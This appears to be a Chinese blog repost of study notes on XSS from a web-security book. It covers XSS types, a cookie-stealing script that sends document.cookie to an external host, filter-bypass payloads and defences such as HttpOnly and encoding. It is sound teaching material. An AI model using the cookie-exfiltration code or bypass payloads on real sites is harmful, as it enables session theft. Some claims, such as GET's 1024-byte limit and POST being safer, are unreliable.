天天看點

《白帽子講WEB安全》學習筆記之第3章 跨站腳本攻擊(xss)第3章 跨站腳本攻擊(xss)

惡意攻擊者往Web頁面裡插入惡意html代碼,當使用者浏覽該頁之時,嵌入其中Web裡面的html代碼會被執行,進而達到惡意使用者的特殊目的。

XSS攻擊:跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆。故将跨站腳本攻擊縮寫為XSS。

XSS本質就是HTML注入

XSS的分類:

(1)     反射型XSS: 一個惡意構造了Web的URL

(2)     存儲型XSS:将使用者輸入的惡意資料儲存在資料庫中,此方式會持久性的影響。

(3)     DOMBased XSS:根據使用者輸入的資料形成XSS攻擊,效果類似于反射型XSS.

這三種類型中危害最大的應該是存儲型XSS,因為每一次打開頁面都會執行。

DOM Based XSS目前在“東方紅”項目的代碼中應該存在大量的,可以關注。

XSS攻擊的危害包括:

q  盜取各類使用者帳号,如機器登入帳号、使用者網銀帳号、各類管理者帳号

q  控制企業資料,包括讀取、篡改、添加、删除企業敏感資料的能力

q  盜竊企業重要的具有商業價值的資料

q  非法轉賬

q  強制發送電子郵件

q  網站挂馬

q  控制受害者機器向其它網站發起攻擊

js擷取URL參數:

<code>function</code> <code>getArgs(){</code>

<code>    </code><code>var</code> <code>args= {};</code>

<code>    </code><code>varmatch = </code><code>null</code><code>;</code>

<code>    </code><code>varsearch = decodeURIComponent(location.search.substring(1));</code>

<code>    </code><code>var</code> <code>reg= /(?:([^&amp;]+)=([^&amp;]+))/g;</code>

<code>   </code><code>while</code><code>((match = reg.exec(search))!==</code><code>null</code><code>){</code>

<code>       </code><code>args[match[1]] = match[2];</code>

<code>    </code><code>}</code>

<code>    </code><code>returnargs;</code>

<code>}</code>

xss竊取cookie

在evil.js檔案中寫如下代碼,存儲在www.test.com根目錄下:

var img=document.createElement("img");

img.src="http://www.myhack58.com/log?"+escape(document.cookie);

document.body.appendChild(img);

然後在測試頁,想辦法讓别人運作這段代碼

&lt;scriptsrc="http://www.test.com/evil.js"&gt;&lt;/script&gt;

然後在web日志中可檢視竊取的cookie資訊

構造get和post攻擊

q  根據HTTP規範,GET用于資訊擷取,而且應該是安全的和幂等的;

q  根據HTTP規範,POST表示可能修改變伺服器上的資源的請求。

是以可以從js或者使用java進行構造get和post攻擊

GET和POST的差別:

1,GET請求的資料會附在URL之後(就是把資料放置在HTTP協定頭中),以?分割URL和傳輸資料,參數之間以&amp;相連;POST把送出的資料則放置在是HTTP包的包體中。

2,GET方式送出的資料最多隻能是1024位元組,理論上POST沒有限制,可傳較大量的資料。

3,POST的安全性要比GET的安全性高。

擷取使用者資訊

檢視目前頁面的cookie:javascript:alert(document.cookie)

檢視浏覽器的版本:javascript:alert(navigator.userAgent)

chrome浏覽器:

chrome://appcache-internals HTML5應用程式緩存的診斷

chrome://blob-internals

chrome://bookmarks 書簽 快捷鍵是ctrl+shift+o

chrome://cache 緩存記錄

chrome://chrome-urls

chrome://crashes 當機記錄

chrome://credits 好像是鳴謝

chrome://dns 預取DNS記錄

chrome://downloads 下載下傳頁 快捷鍵是Ctrl + J

chrome://extensions 擴充頁

chrome://flags 實驗室(危險)

chrome://flash 關於插件flash

chrome://gpu-internals gpu加速相關

chrome://history 曆史頁 快捷鍵是Ctrl + H

chrome://ipc 這個網頁無法使用 chrome://ipc/ 的網頁可能暫時無法使用或被永久移至新網址。=_=

chrome://inspect 檢查

chrome://media-internals 不知道

chrome://memory 顯示Chrome使用的記憶體 浏覽器的PID 程序名稱

chrome://nacl 關于插件Native Client

chrome://net-internals 顯示所有與網絡有關的資訊例如Tests中能告訴你url加載失敗的原因 又能強制Chrome浏覽器Https加密通路網站http://www.chinagfw.org/2011/09/chromehttps.html

chrome://view-http-cache 也是緩存

chrome://newtab 新分頁

chrome://omnibox 和位址欄的即時搜尋引擎一樣

chrome://plugins 插件頁

chrome://policy 政策 有興趣的可以看看http://www.chromium.org/administrators/policy-list-3 我也不太懂

chrome://predictors 位址欄搜尋曆史

chrome://profiler 不知道

chrome://quota-internals 可用的硬碟空間和配置檔案目錄

chrome://settings 設定頁

chrome://stats 不知為什麼空白了

chrome://sync-internals Chrome同步細節

chrome://terms Chrome服務條款

chrome://tracing 開發工具 對Chrome的性能進行分析

chrome://version 版本

chrome://conflicts 這個頁面列出了所有已載入主要程式中的模組(dll)

chrome://print 列印頁

For Debug 以下是各種崩潰

chrome://crash

chrome://kill

chrome://hang

chrome://shorthang

chrome://gpuclean

chrome://gpucrash

chrome://gpuhang

firefox浏覽器:

about:blank -和大多數浏覽器一樣,顯示一個空白頁面

about:blocked -顯示“該網站被攻擊”、“已經被報告的攻擊站點”頁面

about:buildconfig - 顯示目前火狐的編譯器和編譯參數資訊(不同的發行版,編譯參數不盡相同,可以用這種方式進行檢視)

about:credits - 所有項目貢獻者

about:certerror - 顯示證書失效/錯誤頁面

about:cache - 顯示緩存檔案(分為 記憶體緩存/硬碟緩存/離線緩存 三部分)

about:config - 修改火狐的配置選項(個人認為是火狐最優秀的地方,詳細說明)

about:feeds - 顯示火狐feed頁面

about:home - 顯示火狐預設的home頁面

about:license - Mozilla 和 Netscape 的公共授權許可協定(等同于 about:licence)

about:logo - 顯示firefox的logo

about:mozilla - 彩蛋,顯示著名的《Mozilla之書》

about:neterror - 顯示網絡錯誤頁面(包括reset,connection timeout等)

about:plugins - 列出所有已安裝的插件資訊(是插件,而非擴充,是flash/totem-player插件,而非adblock擴充)

about:privatebrowsing -切換浏覽器的隐私浏覽模式(此時的位址欄不會有任何顯示)

about:memory - 檢視浏覽器的記憶體占用資訊(我這裡顯示No other informationavailable……)

about:rights - 讀完了license,就要知道自己的rights了 :)

about:robots - 彩蛋而已,不必大驚小怪。

about:sessionrestore -重建最後一次會話标簽

about:support -Firefox技術支援、疑難排解頁面(顯示浏覽器基本資訊;所有擴充資訊——adblock是擴充,而flash是插件;人為修改過的about:config選項——這個很重要,可以依據這個回溯操作)

可以通過标簽的style屬性構造出XSS.

&lt;div style"backgroup:url('javascript:alert(1)')"&gt;

xss構造技巧

q  利用字元編碼---使用UTF-8;

q  繞過長度限制---使用eval函數;

q  使用&lt;base&gt;标簽---該标簽作用是定義頁面上的所有使用“相對路徑”标簽hosting位址;

q  window.name---繞過長度限制;

網絡上的總結:

1、拆開value。。

校内裡有這樣無數個xss..

舉個例子最簡單……

比如:

&lt;form action="post"name="bloodsword" value=""&gt;

xxxx

&lt;/form&gt;

我以get舉例。如果他支援get的話,很簡單...

http://xiaonei.com/f**k.do?bloodsword=bink"onload=alert(/xss/);

這樣。到源代碼裡檢視,結果就變成:

&lt;a href="http://xiaonei.com/back.do"value="bink" onload=alert(/xss/)&gt;

這個使用在get……大部分的站,隻要你自己仔細去看name。一些Hidden元素,都能找到。這個是因為沒過濾掉引号惹的。

2、字元集xss inject

這個方法看伺服器的吧……我也不大确定…

還有些受浏覽器的限制。

比如FF

http://xiaonei.com/do.do?bink=aaa%afalert("xss")

3、針對不同浏覽器構造特殊點的标簽。

繼續舉例子。比如IE6核心的,

&lt;imgsrc="javascript:alert(document.cookie)"&gt;

這個在IE 7以上就沒了。-。- 這個IE是不是向下相容的啊……

還有FF的video标簽。

IE8開始支援一些怪裡怪氣的,比如錨的title标簽裡的javascript了。

4、自己構造繞過的。

方法其實可以參考富文本的繞過方式。

有些程式員知道要防xss,但是不知道還能繞過

知道要防止以o開頭的事件,這樣本以為onload onmouseover都會再見的。

但是oolooad

ooclick。。。就OK了。。

很簡單,要複雜的就去看富文本

5、16進制

有些地方程式員過濾了很很很很多,幾乎沒轍的時候,不防試試 16進制,16進制主要是那個&amp;#這個怕被過濾。。

6、src屬性。

這個屬性幾乎很常用,有些站知道在那防禦xss,以為隻要以jpg結尾就沒事了。。。

比如yahoo.。。。一個profile裡的入庫xss。。滿足xxx.jpg就成。。

7、cookie xss

這個是……什麼什麼DOM 什麼cookie直接輸出造成的。 貌似是直接讀取cookie裡的xxxxxx形成的。

FF可以改cookie。直接寫script就能出現cookie xss了。。。Google出現過一次。

8、DOM xss

和cookie原理類似吧。

在cookie中設定了HttpOnly屬性,那麼通過js腳本将無法讀取到cookie資訊,這樣能有效的防止XSS攻擊。

<code>response.setHeader(</code><code>"Set-Cookie"</code><code>,"cookiename=value;</code>

<code>Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");</code>

參考:https://www.owasp.org/index.php/HTTPOnly

http://www.oschina.net/question/100267_65116

對于輸入檢測,這是一個很有趣的現象:前端檢查是防君子不防小人。背景檢測是都防。是以前端後端都需要寫上。

在不同的編碼後(經過編碼函數處理後的資料,如HtmlEncode,javascriptEncode,XMLEncode,jsonEncode)的資料長度可能會發生改變,進而會影響某些功能。

使用JavascriptEncode的變量輸出一定要在引号内。

先找問題,再想出對策

XSS的本質是HTML注入,HTML注入的原因是将資料看做了代碼.

參考位址:https://www.owasp.org/index.php/Main_Page

對于富文本的防禦,我目前認為比較好的方法是“黑白名單”

在前端使用編碼函數進行過濾

網上總結:

1、過濾”&lt;”和”&gt;”标記XSS跨站攻擊的最終目标是引入script代碼在使用者的浏覽器中執行,是以最基本最簡單的過濾方法,就是轉換”&lt;”和’&gt;”标記。

<code>replace(str, </code><code>"&lt;"</code><code>, </code><code>"&lt;"</code><code>)</code>

<code>replace(str, </code><code>"&gt;"</code><code>, </code><code>"&gt;"</code><code>)</code>

2、HTML屬性過濾

使用上述的代碼可以過濾掉”&lt;”和”&gt;”标記,讓攻擊者無法構造HTML标記。但是,攻擊者可能會利用已存在的屬性,如插入圖檔功能,将圖檔的路徑屬性修改為一段script代碼,如

<code>&lt;</code><code>img</code> <code>src="javascript:alert(/XSS</code>

<code>攻擊</code>

<code>/)" </code><code>width</code><code>=</code><code>100</code><code>&gt;</code>

上述代碼執行後,同樣可以實作跨站的目的。而且很多的HTML标記裡屬性都支援“javascript:跨站代碼”的形式,是以就需要對攻擊者輸入的資料進行如下轉換:

<code>replace(str, </code><code>"javascript:"</code><code>,</code><code>""</code><code>)</code>

<code>replace(str, </code><code>"jscript:"</code><code>, </code><code>""</code><code>)</code>

<code>replace(str, </code><code>"vbscript:"</code><code>, </code><code>""</code><code>)</code>

一旦使用者輸入的語句中含有”javascript”,”jscript”,”vbscript”,都用空白代替。

3、過濾特殊字元:&amp;、回車和空格

因為HTML屬性的值,可支援”&amp;#ASCii”的形式進行表示,前面的跨站代碼就可以換成這樣:

即可突破過濾程式,繼續進行跨站攻擊,使用代碼:

<code>replace(str, </code><code>"&amp;"</code><code>, </code><code>"&amp;"</code><code>)</code>

上述代碼将”&amp;”替換為了”&amp;”,于是後面的語句就變形失效了。但是還有其他的方式繞過過濾,因為過濾關鍵字的方式具有很多的漏洞。攻擊者可以構造下面的攻擊代碼:

<code>&lt;</code><code>img</code> <code>src="javas cript:alert(/XSS</code>

這裡關鍵字被空格,準确的說是Tab鍵進行了拆分,上面的代碼就又失效了,這樣就有考慮将Tab空格過濾,防止此類的跨站攻擊。

4、HTML屬性跨站的徹底防範

即使程式設計者徹底過濾了各種危險字元,确實給攻擊者進行跨站入侵帶來了麻煩,攻擊者依然可以利用程式的缺陷進行攻擊,因為攻擊者可以利用前面說的屬性和事件機制,構造執行script代碼。例如,有下面這樣一個圖檔标記代碼:

<code>&lt;</code><code>img</code> <code>src</code><code>=</code><code>"#"</code> <code>onerror</code><code>=</code><code>alert</code><code>(/</code>

<code>跨站</code>

<code>/)&gt;</code>

這是一個利用onerror事件的典型跨站攻擊示例,于是許多程式設計者對此事件進行了過濾,一旦發現關鍵字”onerror”,就進行轉換過濾。

然而攻擊者可以利用的時間跨站方法,并不隻有onerror一種,各種各樣的屬性都可以進行構造跨站攻擊。例如:

<code>&lt;</code><code>img</code> <code>src</code><code>=</code><code>"#"</code> <code>style="Xss:expression(alert(/</code>

<code>/));"&gt;</code>

這樣的事件屬性,同樣是可以實作跨站攻擊的。可以注意到,在“src=”#””和“style”之間有一個空格,也就是說屬性之間需要空格分隔,于是程式設計者可能對空格進行過濾,以防範此類的攻擊。但是過濾了空格之後,同樣可以被攻擊者突破。

<code>&lt;</code><code>img</code> <code>src</code><code>=</code><code>"#"</code><code>/**/</code><code>onerror</code><code>=</code><code>alert</code><code>(/</code>

<code>/) </code><code>width</code><code>=</code><code>100</code><code>&gt;</code>

這段代碼利用了腳本語言的規則漏洞,在腳本語言中的注釋會被當成一個空白來表示。是以注釋代碼就簡介的達到了空格的效果,使語句得以執行。

1.對于開發者,首先應該把精力放到對所有使用者送出内容進行可靠的輸入驗證上。這些送出内容包括URL、查詢關鍵字、http頭、post資料等。隻接受在你所規定長度範圍内、采用适當格式、你所希望的字元。阻塞、過濾或者忽略其它的任何東西。

2.保護所有敏感的功能,以防被bots自動化或者被第三方網站所執行。實作session标記(session tokens)、CAPTCHA系統或者HTTP引用頭檢查。

3.如果你的web應用必須支援使用者提供的HTML,那麼應用的安全性将受到災難性的下滑。但是你還是可以做一些事來保護web站點:确認你接收的HTML内容被妥善地格式化,僅包含最小化的、安全的tag(絕對沒有JavaScript),去掉任何對遠端内容的引用(尤其是樣式表和JavaScript)。為了更多的安全,請使用httpOnly的cookie。

本文轉自 夢朝思夕 51CTO部落格,原文連結:http://blog.51cto.com/qiangmzsx/1859547

繼續閱讀